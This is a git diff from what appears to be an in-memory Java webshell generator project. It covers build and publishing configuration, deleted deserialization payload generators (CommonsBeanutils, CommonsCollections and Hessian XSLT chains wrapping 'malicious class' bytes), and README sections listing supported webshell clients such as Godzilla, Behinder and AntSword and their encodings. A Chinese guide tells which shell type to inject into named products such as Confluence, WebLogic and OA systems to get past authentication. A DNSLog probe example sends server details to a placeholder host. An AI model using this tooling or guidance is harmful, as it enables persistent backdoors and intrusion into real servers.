||||||
|
|
||||||
|
public ProbeShellGenerateResponse(ProbeShellResult probeShellResult, String packResult) {
|
||||||
|
this.probeShellResult = probeShellResult;
|
||||||
|
this.packResult = packResult;
|
||||||
|
}
|
||||||
|
|
||||||
|
public ProbeShellGenerateResponse(ProbeShellResult probeShellResult, Map<String, String> allPackResults) {
|
||||||
|
this.allPackResults = allPackResults;
|
||||||
|
this.probeShellResult = probeShellResult;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -7,5 +7,5 @@ repositories {
|
|||||||
}
|
}
|
||||||
|
|
||||||
dependencies {
|
dependencies {
|
||||||
implementation("com.vanniktech:gradle-maven-publish-plugin:0.32.0")
|
implementation("com.vanniktech:gradle-maven-publish-plugin:0.34.0")
|
||||||
}
|
}
|
||||||
@@ -0,0 +1 @@
|
|||||||
|
rootProject.name = "build-logic"
|
||||||
+1
-3
@@ -1,11 +1,9 @@
|
|||||||
import com.vanniktech.maven.publish.SonatypeHost
|
|
||||||
|
|
||||||
plugins {
|
plugins {
|
||||||
id("com.vanniktech.maven.publish")
|
id("com.vanniktech.maven.publish")
|
||||||
}
|
}
|
||||||
|
|
||||||
mavenPublishing {
|
mavenPublishing {
|
||||||
publishToMavenCentral(SonatypeHost.CENTRAL_PORTAL)
|
publishToMavenCentral(true)
|
||||||
signAllPublications()
|
signAllPublications()
|
||||||
coordinates(
|
coordinates(
|
||||||
"io.github.reajason",
|
"io.github.reajason",
|
||||||
+12
-15
@@ -1,21 +1,18 @@
|
|||||||
plugins {
|
plugins {
|
||||||
id("java")
|
id("java")
|
||||||
|
id("idea")
|
||||||
}
|
}
|
||||||
version = "1.10.0"
|
|
||||||
|
idea {
|
||||||
|
module {
|
||||||
|
excludeDirs.add(file("src"))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
version = "2.0.0"
|
||||||
|
|
||||||
tasks.register("publishAllToMavenCentral") {
|
tasks.register("publishAllToMavenCentral") {
|
||||||
val isSnapshot = rootProject.version.toString().endsWith("-SNAPSHOT")
|
dependsOn(":memshell-party-common:publishToMavenCentral")
|
||||||
if (isSnapshot) {
|
dependsOn(":packer:publishToMavenCentral")
|
||||||
dependsOn(":memshell-party-bom:publishAllPublicationsToMavenCentralRepository")
|
dependsOn(":generator:publishToMavenCentral")
|
||||||
dependsOn(":memshell-party-common:publishAllPublicationsToMavenCentralRepository")
|
|
||||||
dependsOn(":deserialize:publishAllPublicationsToMavenCentralRepository")
|
|
||||||
dependsOn(":memshell:publishAllPublicationsToMavenCentralRepository")
|
|
||||||
dependsOn(":generator:publishAllPublicationsToMavenCentralRepository")
|
|
||||||
} else {
|
|
||||||
dependsOn(":memshell-party-bom:publishAndReleaseToMavenCentral")
|
|
||||||
dependsOn(":memshell-party-common:publishAndReleaseToMavenCentral")
|
|
||||||
dependsOn(":deserialize:publishAndReleaseToMavenCentral")
|
|
||||||
dependsOn(":memshell:publishAndReleaseToMavenCentral")
|
|
||||||
dependsOn(":generator:publishAndReleaseToMavenCentral")
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
@@ -1,12 +0,0 @@
|
|||||||
package com.reajason.javaweb.deserialize;
|
|
||||||
|
|
||||||
import lombok.Data;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/13
|
|
||||||
*/
|
|
||||||
@Data
|
|
||||||
public class DeserializeConfig {
|
|
||||||
private PayloadType payloadType;
|
|
||||||
}
|
|
||||||
-24
@@ -1,24 +0,0 @@
|
|||||||
package com.reajason.javaweb.deserialize;
|
|
||||||
|
|
||||||
import com.caucho.hessian.io.Hessian2Output;
|
|
||||||
import lombok.SneakyThrows;
|
|
||||||
|
|
||||||
import java.io.ByteArrayOutputStream;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/2/19
|
|
||||||
*/
|
|
||||||
public class Hessian2DeserializeGenerator {
|
|
||||||
@SneakyThrows
|
|
||||||
public static byte[] generate(byte[] bytes, String className, DeserializeConfig config) {
|
|
||||||
PayloadType payloadType = config.getPayloadType();
|
|
||||||
Object obj = payloadType.getPayload().generate(bytes, className);
|
|
||||||
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
|
||||||
Hessian2Output hessian2Output = new Hessian2Output(bos);
|
|
||||||
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
|
|
||||||
hessian2Output.writeObject(obj);
|
|
||||||
hessian2Output.close();
|
|
||||||
return bos.toByteArray();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
-24
@@ -1,24 +0,0 @@
|
|||||||
package com.reajason.javaweb.deserialize;
|
|
||||||
|
|
||||||
import com.caucho.hessian.io.HessianOutput;
|
|
||||||
import lombok.SneakyThrows;
|
|
||||||
|
|
||||||
import java.io.ByteArrayOutputStream;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/2/19
|
|
||||||
*/
|
|
||||||
public class HessianDeserializeGenerator {
|
|
||||||
@SneakyThrows
|
|
||||||
public static byte[] generate(byte[] bytes, String className, DeserializeConfig config) {
|
|
||||||
PayloadType payloadType = config.getPayloadType();
|
|
||||||
Object obj = payloadType.getPayload().generate(bytes, className);
|
|
||||||
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
|
||||||
HessianOutput hessianOutput = new HessianOutput(bos);
|
|
||||||
hessianOutput.getSerializerFactory().setAllowNonSerializable(true);
|
|
||||||
hessianOutput.writeObject(obj);
|
|
||||||
hessianOutput.close();
|
|
||||||
return bos.toByteArray();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
-25
@@ -1,25 +0,0 @@
|
|||||||
package com.reajason.javaweb.deserialize;
|
|
||||||
|
|
||||||
import lombok.SneakyThrows;
|
|
||||||
|
|
||||||
import java.io.ByteArrayOutputStream;
|
|
||||||
import java.io.ObjectOutputStream;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/13
|
|
||||||
*/
|
|
||||||
public class JavaDeserializeGenerator {
|
|
||||||
|
|
||||||
@SneakyThrows
|
|
||||||
public static byte[] generate(byte[] bytes, DeserializeConfig config) {
|
|
||||||
PayloadType payloadType = config.getPayloadType();
|
|
||||||
Object obj = payloadType.getPayload().generate(bytes);
|
|
||||||
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
|
||||||
ObjectOutputStream oos = new ObjectOutputStream(baos);
|
|
||||||
oos.writeObject(obj);
|
|
||||||
oos.flush();
|
|
||||||
oos.close();
|
|
||||||
return baos.toByteArray();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,28 +0,0 @@
|
|||||||
package com.reajason.javaweb.deserialize;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/13
|
|
||||||
*/
|
|
||||||
public interface Payload {
|
|
||||||
/**
|
|
||||||
* 将恶意类字节流封装成序列化对象
|
|
||||||
*
|
|
||||||
* @param bytes 恶意类字节流
|
|
||||||
* @return 序列化对象
|
|
||||||
*/
|
|
||||||
default Object generate(byte[] bytes) {
|
|
||||||
throw new UnsupportedOperationException();
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 将恶意类字节流封装成序列化对象
|
|
||||||
*
|
|
||||||
* @param bytes 恶意类字节流
|
|
||||||
* @param className 恶意类名
|
|
||||||
* @return 序列化对象
|
|
||||||
*/
|
|
||||||
default Object generate(byte[] bytes, String className) {
|
|
||||||
throw new UnsupportedOperationException();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,47 +0,0 @@
|
|||||||
package com.reajason.javaweb.deserialize;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.deserialize.payload.hessian.XSLTScriptEngine;
|
|
||||||
import com.reajason.javaweb.deserialize.payload.java.*;
|
|
||||||
import lombok.Getter;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/13
|
|
||||||
*/
|
|
||||||
@Getter
|
|
||||||
public enum PayloadType {
|
|
||||||
/**
|
|
||||||
* CB 链
|
|
||||||
*/
|
|
||||||
CommonsBeanutils16(new CommonsBeanutils16()),
|
|
||||||
CommonsBeanutils18(new CommonsBeanutils18()),
|
|
||||||
CommonsBeanutils19(new CommonsBeanutils19()),
|
|
||||||
CommonsBeanutils110(new CommonsBeanutils110()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* CC 链
|
|
||||||
*/
|
|
||||||
CommonsCollections3(new CommonCollections3()),
|
|
||||||
CommonsCollections4(new CommonCollections4()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Hessian XSLT write
|
|
||||||
*/
|
|
||||||
XSLTScriptEngine(new XSLTScriptEngine())
|
|
||||||
;
|
|
||||||
|
|
||||||
private final Payload payload;
|
|
||||||
|
|
||||||
PayloadType(Payload payload) {
|
|
||||||
this.payload = payload;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static PayloadType getPayloadType(String payloadType) {
|
|
||||||
for (PayloadType value : values()) {
|
|
||||||
if (value.name().equals(payloadType)) {
|
|
||||||
return value;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
throw new IllegalArgumentException("unknown payload type: " + payloadType);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,106 @@
|
|||||||
|
## 本地构建
|
||||||
|
|
||||||
|
### 源代码构建
|
||||||
|
|
||||||
|
> 适合想编写代码的小伙伴,使用 Git Clone 下载到本地,并构建前后端项目以供使用
|
||||||
|
|
||||||
|
首先需要下载 [bun](https://bun.sh/),这是一款用于构建前端服务的工具。
|
||||||
|
|
||||||
|
1. 使用 Git Clone 项目
|
||||||
|
|
||||||
|
```bash
|
||||||
|
git clone https://github.com/ReaJason/MemShellParty.git
|
||||||
|
```
|
||||||
|
|
||||||
|
2. 构建前端项目,build 结束会将静态资源自动移动到 Spring Boot 中以供使用
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd MemShellParty/web
|
||||||
|
|
||||||
|
bun install
|
||||||
|
|
||||||
|
bun run build
|
||||||
|
```
|
||||||
|
|
||||||
|
3. 构建后端项目,确保使用 JDK17 环境
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd MemShellParty/boot
|
||||||
|
|
||||||
|
./gradlew :boot:bootjar -x test
|
||||||
|
```
|
||||||
|
|
||||||
|
构建完之后,可直接启动 jar 包,jar 包位于 `MemShellParty/boot/build/libs/boot-1.0.0.jar`
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd MemShellParty/boot
|
||||||
|
|
||||||
|
java -jar \
|
||||||
|
--add-opens=java.base/java.util=ALL-UNNAMED \
|
||||||
|
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
|
||||||
|
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
|
||||||
|
build/libs/boot-1.0.0.jar
|
||||||
|
```
|
||||||
|
|
||||||
|
也可这基础上再继续构建容器来使用
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd MemShellParty/boot
|
||||||
|
|
||||||
|
docker buildx build -t memshell-party:latest . --load
|
||||||
|
|
||||||
|
docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest
|
||||||
|
```
|
||||||
|
|
||||||
|
### Dockerfile 一键构建
|
||||||
|
|
||||||
|
> 适合于希望构建自定义访问路径的小伙伴,例如 NGINX 反代的场景([#44](https://github.com/ReaJason/MemShellParty/issues/44))
|
||||||
|
|
||||||
|
下载项目根目录的 [Dockerfile](./Dockerfile)
|
||||||
|
|
||||||
|
- VERSION: 版本信息,随意,建议用最新的 tag 号,仅作前端展示
|
||||||
|
- ROUTE_ROOT_PATH: 前端根路由配置
|
||||||
|
- CONTEXT_PATH: 后端访问前缀
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# 基础构建
|
||||||
|
docker buildx build \
|
||||||
|
--build-arg VERSION=1.6.0 \
|
||||||
|
-t memshell-party:latest . --load
|
||||||
|
|
||||||
|
# 基础镜像启动,访问 127.0.0.1:8080
|
||||||
|
docker run -it -d -p 8080:8080 memshell-party:latest
|
||||||
|
|
||||||
|
# 自定义访问路径构建
|
||||||
|
docker buildx build \
|
||||||
|
--build-arg VERSION=1.6.0 \
|
||||||
|
--build-arg ROUTE_ROOT_PATH=/memshell-party \
|
||||||
|
--build-arg CONTEXT_PATH=/memshell-party \
|
||||||
|
-t memshell-party:latest . --load
|
||||||
|
|
||||||
|
# 自定义路径构建镜像启动,访问 127.0.0.1:8080/memshell-party
|
||||||
|
docker run -it -p 8080:8080 \
|
||||||
|
-e BOOT_OPTS=--server.servlet.context-path=/memshell-party \
|
||||||
|
memshell-party:latest
|
||||||
|
```
|
||||||
|
|
||||||
|
如果需要使用 NGINX 反代,请先使用自定义访问路径构建容器,并配置 NGINX 如下:
|
||||||
|
|
||||||
|
其中 `location /memshell-party`、`ROUTE_ROOT_PATH=/memshell-party`、`CONTEXT_PATH=/memshell-party` 和
|
||||||
|
`BOOT_OPTS=--server.servlet.context-path=/memshell-party` 都要一致才行。
|
||||||
|
|
||||||
|
```text
|
||||||
|
location /memshell-party {
|
||||||
|
proxy_pass http://127.0.0.1:8080;
|
||||||
|
proxy_set_header Host $http_host;
|
||||||
|
proxy_set_header X-Forwarded-By $server_addr:$server_port;
|
||||||
|
proxy_set_header X-Forwarded-For $remote_addr;
|
||||||
|
proxy_http_version 1.1;
|
||||||
|
proxy_connect_timeout 3s;
|
||||||
|
proxy_read_timeout 300s;
|
||||||
|
proxy_send_timeout 300s;
|
||||||
|
proxy_buffer_size 16k;
|
||||||
|
proxy_buffers 8 64k;
|
||||||
|
proxy_busy_buffers_size 128k;
|
||||||
|
}
|
||||||
|
```
|
||||||
@@ -0,0 +1,84 @@
|
|||||||
|
## 适配情况
|
||||||
|
|
||||||
|
已兼容 Java6 ~ Java8、Java9、Java11、Java17、Java21
|
||||||
|
|
||||||
|
### 中间件以及框架
|
||||||
|
|
||||||
|
| Tomcat(5 ~ 11) | Jetty(6 ~ 11) | GlassFish(3 ~ 7) | Payara(5 ~ 6) |
|
||||||
|
|----------------------|------------------------|----------------------|----------------------|
|
||||||
|
| Servlet | Servlet | Filter | Filter |
|
||||||
|
| Filter | Filter | Listener | Listener |
|
||||||
|
| Listener | Listener | Valve | Valve |
|
||||||
|
| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
|
||||||
|
| ProxyValve | | | |
|
||||||
|
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
|
||||||
|
| ContextValve - Agent | | | |
|
||||||
|
|
||||||
|
| Resin(3 ~ 4) | SpringMVC | SpringWebFlux | XXL-JOB |
|
||||||
|
|---------------------|--------------------------|-----------------|--------------|
|
||||||
|
| Servlet | Interceptor | WebFilter | NettyHandler |
|
||||||
|
| Filter | ControllerHandler | HandlerMethod | |
|
||||||
|
| Listener | FrameworkServlet - Agent | HandlerFunction | |
|
||||||
|
| FilterChain - Agent | | NettyHandler | |
|
||||||
|
|
||||||
|
| JBossAS(4 ~ 7) | JBossEAP(6 ~ 7) | WildFly(9 ~ 30) | Undertow |
|
||||||
|
|----------------------|----------------------------|------------------------|------------------------|
|
||||||
|
| Filter | Filter | Servlet | Servlet |
|
||||||
|
| Listener | Listener | Filter | Filter |
|
||||||
|
| Valve | Valve(6) | Listener | Listener |
|
||||||
|
| ProxyValve | | | |
|
||||||
|
| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
|
||||||
|
| ContextValve - Agent | ContextValve - Agent (6) | | |
|
||||||
|
| | ServletHandler - Agent (7) | | |
|
||||||
|
|
||||||
|
| WebSphere(7 ~ 9) | WebLogic (10.3.6 ~ 14) |
|
||||||
|
|-----------------------|-------------------------|
|
||||||
|
| Servlet | Servlet |
|
||||||
|
| Filter | Filter |
|
||||||
|
| Listener | Listener |
|
||||||
|
| FilterManager - Agent | ServletContext - Agent |
|
||||||
|
|
||||||
|
| BES(9.5.x) | TongWeb(6 ~ 8) | InforSuite AS (9 ~ 10) |
|
||||||
|
|----------------------|----------------------|------------------------|
|
||||||
|
| Filter | Filter | Filter |
|
||||||
|
| Listener | Listener | Listener |
|
||||||
|
| Valve | Valve | Valve |
|
||||||
|
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent |
|
||||||
|
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent |
|
||||||
|
|
||||||
|
| Apusic AS (9 ~ 10) | Primeton(6.5) |
|
||||||
|
|---------------------|----------------------|
|
||||||
|
| Servlet | Filter |
|
||||||
|
| Filter | Listener |
|
||||||
|
| Listener | Valve |
|
||||||
|
| FilterChain - Agent | FilterChain - Agent |
|
||||||
|
| | ContextValve - Agent |
|
||||||
|
|
||||||
|
### 内存马功能
|
||||||
|
|
||||||
|
- [x] [Godzilla 哥斯拉](https://github.com/BeichenDream/Godzilla)
|
||||||
|
- [x] [Behinder 冰蝎](https://github.com/rebeyond/Behinder)
|
||||||
|
- [x] 命令执行
|
||||||
|
- [x] [Suo5](https://github.com/zema1/suo5)
|
||||||
|
- [x] [AntSword 蚁剑](https://github.com/AntSwordProject/antSword)
|
||||||
|
- [x] [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg)
|
||||||
|
- [x] Custom
|
||||||
|
|
||||||
|
### 封装方式
|
||||||
|
|
||||||
|
- [x] BASE64
|
||||||
|
- [x] GZIP BASE64
|
||||||
|
- [x] JSP
|
||||||
|
- [x] JSPX
|
||||||
|
- [x] JAR
|
||||||
|
- [x] BCEL
|
||||||
|
- [x] 内置脚本引擎、Rhino 脚本引擎
|
||||||
|
- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
|
||||||
|
- [x] Velocity、Freemarker、JinJava
|
||||||
|
- [x] 原生反序列化(CB 和 CC 链)
|
||||||
|
- [x] Agent
|
||||||
|
- [x] XXL-JOB Executor
|
||||||
|
- [x] Hessian、Hessian2 反序列化(XSLT链)
|
||||||
|
- [ ] JNDI
|
||||||
|
- [ ] JDBC 连接
|
||||||
|
- [ ] 其他常见反序列化
|
||||||
+2
-2
@@ -213,7 +213,7 @@ Compatible with Java6 ~ Java8, Java9, Java11, Java17, Java21
|
|||||||
| Listener | Listener |
|
| Listener | Listener |
|
||||||
| FilterManager - Agent | ServletContext - Agent |
|
| FilterManager - Agent | ServletContext - Agent |
|
||||||
|
|
||||||
| BES(9.5.x) | TongWeb(6 ~ 7) | InforSuite AS (9 ~ 10) |
|
| BES(9.5.x) | TongWeb(6 ~ 8) | InforSuite AS (9 ~ 10) |
|
||||||
|----------------------|----------------------|------------------------|
|
|----------------------|----------------------|------------------------|
|
||||||
| Filter | Filter | Filter |
|
| Filter | Filter | Filter |
|
||||||
| Listener | Listener | Listener |
|
| Listener | Listener | Listener |
|
||||||
@@ -221,7 +221,7 @@ Compatible with Java6 ~ Java8, Java9, Java11, Java17, Java21
|
|||||||
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent |
|
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent |
|
||||||
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent |
|
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent |
|
||||||
|
|
||||||
| Apusic AS (9) | Primeton(6.5) |
|
| Apusic AS (9 ~ 10) | Primeton(6.5) |
|
||||||
|---------------------|----------------------|
|
|---------------------|----------------------|
|
||||||
| Servlet | Filter |
|
| Servlet | Filter |
|
||||||
| Filter | Listener |
|
| Filter | Listener |
|
||||||
|
|||||||
@@ -0,0 +1,130 @@
|
|||||||
|
# Java 服务简介
|
||||||
|
|
||||||
|
以下服务仅我个人遇到的一些场景,与实际攻防场景可能仍有差距,但是在 MemShellParty
|
||||||
|
中可用于参考进行内存马生成。个别其他服务还请自行辨别其服务类型。如果有其他环境补充,欢迎 PR 交流学习~
|
||||||
|
|
||||||
|
## Tomcat
|
||||||
|
|
||||||
|
> https://tomcat.apache.org/
|
||||||
|
|
||||||
|
Tomcat 使用的是自己 Catalina 模块提供的 Servlets 实现,限制较少,在 MemShellParty 中,服务类型选 Tomcat 即可生成 Tomcat
|
||||||
|
内存马。
|
||||||
|
|
||||||
|
一般而言,SpringWebMVC 项目大多使用 Tomcat 提供 Servlets 容器功能,比如 Nacos,这种情况下可以选择 Tomcat 内存马注入。
|
||||||
|
|
||||||
|
其他服务中,致远 OA、Confluence、帆软使用的是 Tomcat。
|
||||||
|
|
||||||
|
## Jetty
|
||||||
|
|
||||||
|
> https://jetty.org/
|
||||||
|
|
||||||
|
Jetty6 版本使用的包名为 `org.mortbay.jetty`,而 7 以上使用的是 `org.eclipse.jetty`,在测试最新的 Jenkins 时,发现 Jetty11+
|
||||||
|
版本支持 ee8 ~ ee10 的环境,包名对应的是 `org.eclipse.jetty.ee8`,这些在 MemShellParty 中均已支持,因此服务类型选 Jetty
|
||||||
|
即可生成 Jetty 内存马。
|
||||||
|
|
||||||
|
在 SpringWebMVC 项目中也是有可能使用的。
|
||||||
|
|
||||||
|
## JBoss
|
||||||
|
|
||||||
|
> JBossAS: https://jbossas.jboss.org/downloads
|
||||||
|
|
||||||
|
> JBossEAP: https://developers.redhat.com/products/eap/download
|
||||||
|
|
||||||
|
JBoss 分为 JBossAS 和 JBossEAP,JBossAS 全版本和 JBossEAP6 使用的 Catalina 模块提供的 Servlets 实现,JBossEAP7 及其以上使用的
|
||||||
|
[Undertow](https://undertow.io/) 提供的 Servlets 实现。
|
||||||
|
|
||||||
|
因此 JBossAS 4~7 以及 JBossEAP6 服务类型选择 JBoss 进行内存马的生成,而 JBossEAP7 服务类型需要选择
|
||||||
|
Undertow 进行内存马的生成。
|
||||||
|
|
||||||
|
## Wildfly
|
||||||
|
|
||||||
|
> https://www.wildfly.org/
|
||||||
|
|
||||||
|
Wildfly 使用的 [Undertow](https://undertow.io/) 提供的 Servlets 实现,因此服务类型选择 Undertow 生成内存马
|
||||||
|
|
||||||
|
## GlassFish
|
||||||
|
|
||||||
|
> https://glassfish.org/
|
||||||
|
|
||||||
|
GlassFish 使用的是 Catalina 提供的 Servlets 实现,但是使用了 OSGI 类加载模式,因此类限制较为严重,在 MemShellParty 中,服务类型选择
|
||||||
|
GlassFish 进行内存马的生成。
|
||||||
|
|
||||||
|
## Payara
|
||||||
|
|
||||||
|
> https://www.payara.fish/downloads/
|
||||||
|
|
||||||
|
基于 GlassFish 开发,服务类型选择 GlassFish 进行内存马的生成。
|
||||||
|
|
||||||
|
## Resin
|
||||||
|
|
||||||
|
> https://caucho.com/products/resin/download
|
||||||
|
|
||||||
|
Resin 使用的包名为 `com.caucho.`,服务类型选择 Resin 进行内存马的生成。
|
||||||
|
|
||||||
|
泛微 OA 使用的就是 Resin 提供的服务。
|
||||||
|
|
||||||
|
## WebLogic
|
||||||
|
|
||||||
|
> https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html
|
||||||
|
|
||||||
|
WebLogic 使用的包名为 `weblogic.`,服务类型选择 WebLogic 进行内存马的生成。
|
||||||
|
|
||||||
|
## WebSphere
|
||||||
|
|
||||||
|
> https://www.ibm.com/products/websphere-application-server
|
||||||
|
|
||||||
|
WebSphere 是 IBM 研发的商用 Servlets 容器,开源版本为 Websphere liberty,
|
||||||
|
包名为 `com.ibm.`,服务类型选择 WebSphere 进行内存马的生成。
|
||||||
|
|
||||||
|
## BES
|
||||||
|
|
||||||
|
> https://www.bessystem.com/
|
||||||
|
|
||||||
|
BES 宝兰德,其基于 Tomcat 进行二开,在 BES 9.5.1 版本中没有进行包名修改,而在 BES 9.5.2
|
||||||
|
版本之后包名修改为了 `com.bes.enterprise.`。因此 BES 9.5.1 版本,服务类型选择 Tomcat 进行内存马的生成,BES 9.5.2+ 服务类型选择
|
||||||
|
BES 进行内存马的生成。
|
||||||
|
|
||||||
|
## TongWeb
|
||||||
|
|
||||||
|
> https://www.tongtech.com/sy.html
|
||||||
|
|
||||||
|
TongWeb 东方通,其基于 Tomcat 进行二开,并且在最初的 6 版本就进行了包名修改,每个版本都进行了修改。
|
||||||
|
|
||||||
|
- TongWeb6: `com.tongweb.web.thor.`
|
||||||
|
- TongWeb7: `com.tongweb.catalina.`
|
||||||
|
- TongWeb8: `com.tongweb.server.`
|
||||||
|
|
||||||
|
这三个版本在 MemShellParty 中均有适配,服务类型选择 TongWeb 进行内存马的生成。
|
||||||
|
|
||||||
|
## Apusic
|
||||||
|
|
||||||
|
> https://www.apusic.com/
|
||||||
|
|
||||||
|
金蝶中间件,Apusic9 疑似魔改自 GlassFish,不过改得面目全非了,自 Apusic10 开始使用原版 GlassFish 进行二开。因此 Apusic9
|
||||||
|
版本服务类型选择
|
||||||
|
Apusic 进行内存马生成,Apusic10 版本选择 GlassFish 进行内存马生成。
|
||||||
|
|
||||||
|
## Primeton
|
||||||
|
|
||||||
|
> https://www.primeton.com/products/pas/
|
||||||
|
|
||||||
|
普元中间件,Primeton6.5 版本基于 GlassFish
|
||||||
|
二开,高版本疑似做了包名修改,但没有环境,因此暂未适配([#60](https://github.com/ReaJason/MemShellParty/issues/60))因此当前仅支持
|
||||||
|
Primeton6.5 版本,服务类型选择 GlassFish 进行内存马生成。
|
||||||
|
|
||||||
|
## InforSuite
|
||||||
|
|
||||||
|
中创中间件,InforSuite 基于 GlassFish 进行二开,不过因为 InforSuite10 版本针对 filterConfigs 字段做了手脚改成了
|
||||||
|
iasFilterConfigs 因此 Filter 注入单独进行了适配。服务类型选择 InforSuite 进行内存马注入。
|
||||||
|
|
||||||
|
## SpringWebMVC
|
||||||
|
|
||||||
|
Spring 框架,默认的 MVC 架构,官方 Servlets 容器实现可选 Tomcat、Jetty 与 Undertow,也可打包成 war 包部署于任意 Servlets
|
||||||
|
容器上。内存马注入场景下不推荐框架内存马,而是具体的 Servlets 容器内存马,因为可绕过框架的限制(鉴权或其他)。服务类型选择
|
||||||
|
SpringWebMVC 进行内存马生成。
|
||||||
|
|
||||||
|
## SpringWebFlux
|
||||||
|
|
||||||
|
Spring Boot 项目中基于 reactor 异步 IO 模型的服务组件,底层使用的 Netty,一般常见于各种 SpringCloud 项目,例如网关。服务类型选择
|
||||||
|
SpringWebFlux 进行内存马生成。
|
||||||
|
|
||||||
@@ -18,8 +18,27 @@
|
|||||||
<dependency>
|
<dependency>
|
||||||
<groupId>io.github.reajason</groupId>
|
<groupId>io.github.reajason</groupId>
|
||||||
<artifactId>generator</artifactId>
|
<artifactId>generator</artifactId>
|
||||||
<version>1.8.0</version>
|
<version>2.0.0-SNAPSHOT</version>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>io.github.reajason</groupId>
|
||||||
|
<artifactId>packer</artifactId>
|
||||||
|
<version>2.0.0-SNAPSHOT</version>
|
||||||
</dependency>
|
</dependency>
|
||||||
</dependencies>
|
</dependencies>
|
||||||
|
|
||||||
|
<!-- 使用 SNAPSHOT 版本,才需要下面这块 -->
|
||||||
|
<repositories>
|
||||||
|
<repository>
|
||||||
|
<name>Central Portal Snapshots</name>
|
||||||
|
<id>central-portal-snapshots</id>
|
||||||
|
<url>https://central.sonatype.com/repository/maven-snapshots/</url>
|
||||||
|
<releases>
|
||||||
|
<enabled>false</enabled>
|
||||||
|
</releases>
|
||||||
|
<snapshots>
|
||||||
|
<enabled>true</enabled>
|
||||||
|
</snapshots>
|
||||||
|
</repository>
|
||||||
|
</repositories>
|
||||||
</project>
|
</project>
|
||||||
+32
@@ -0,0 +1,32 @@
|
|||||||
|
package com.reajason.javaweb;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import com.reajason.javaweb.probe.ProbeContent;
|
||||||
|
import com.reajason.javaweb.probe.ProbeMethod;
|
||||||
|
import com.reajason.javaweb.probe.ProbeShellGenerator;
|
||||||
|
import com.reajason.javaweb.probe.ProbeShellResult;
|
||||||
|
import com.reajason.javaweb.probe.config.DnsLogConfig;
|
||||||
|
import com.reajason.javaweb.probe.config.ProbeConfig;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/8/13
|
||||||
|
*/
|
||||||
|
public class DnsLogProbe {
|
||||||
|
public static void main(String[] args) {
|
||||||
|
ProbeConfig probeConfig = ProbeConfig.builder()
|
||||||
|
.probeMethod(ProbeMethod.DNSLog)
|
||||||
|
.probeContent(ProbeContent.Server) // 暂只支持 Server 和 JDK
|
||||||
|
.shrink(true)
|
||||||
|
.debug(false)
|
||||||
|
.build();
|
||||||
|
|
||||||
|
DnsLogConfig dnsLogConfig = DnsLogConfig.builder()
|
||||||
|
.host("xxx.dns.log")
|
||||||
|
.build();
|
||||||
|
|
||||||
|
ProbeShellResult result = ProbeShellGenerator.generate(probeConfig, dnsLogConfig);
|
||||||
|
|
||||||
|
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result.toClassPackerConfig()));
|
||||||
|
}
|
||||||
|
}
|
||||||
+8
-9
@@ -1,10 +1,14 @@
|
|||||||
package com.reajason.javaweb;
|
package com.reajason.javaweb;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.*;
|
import com.reajason.javaweb.Server;
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.MemShellGenerator;
|
||||||
|
import com.reajason.javaweb.memshell.MemShellResult;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
||||||
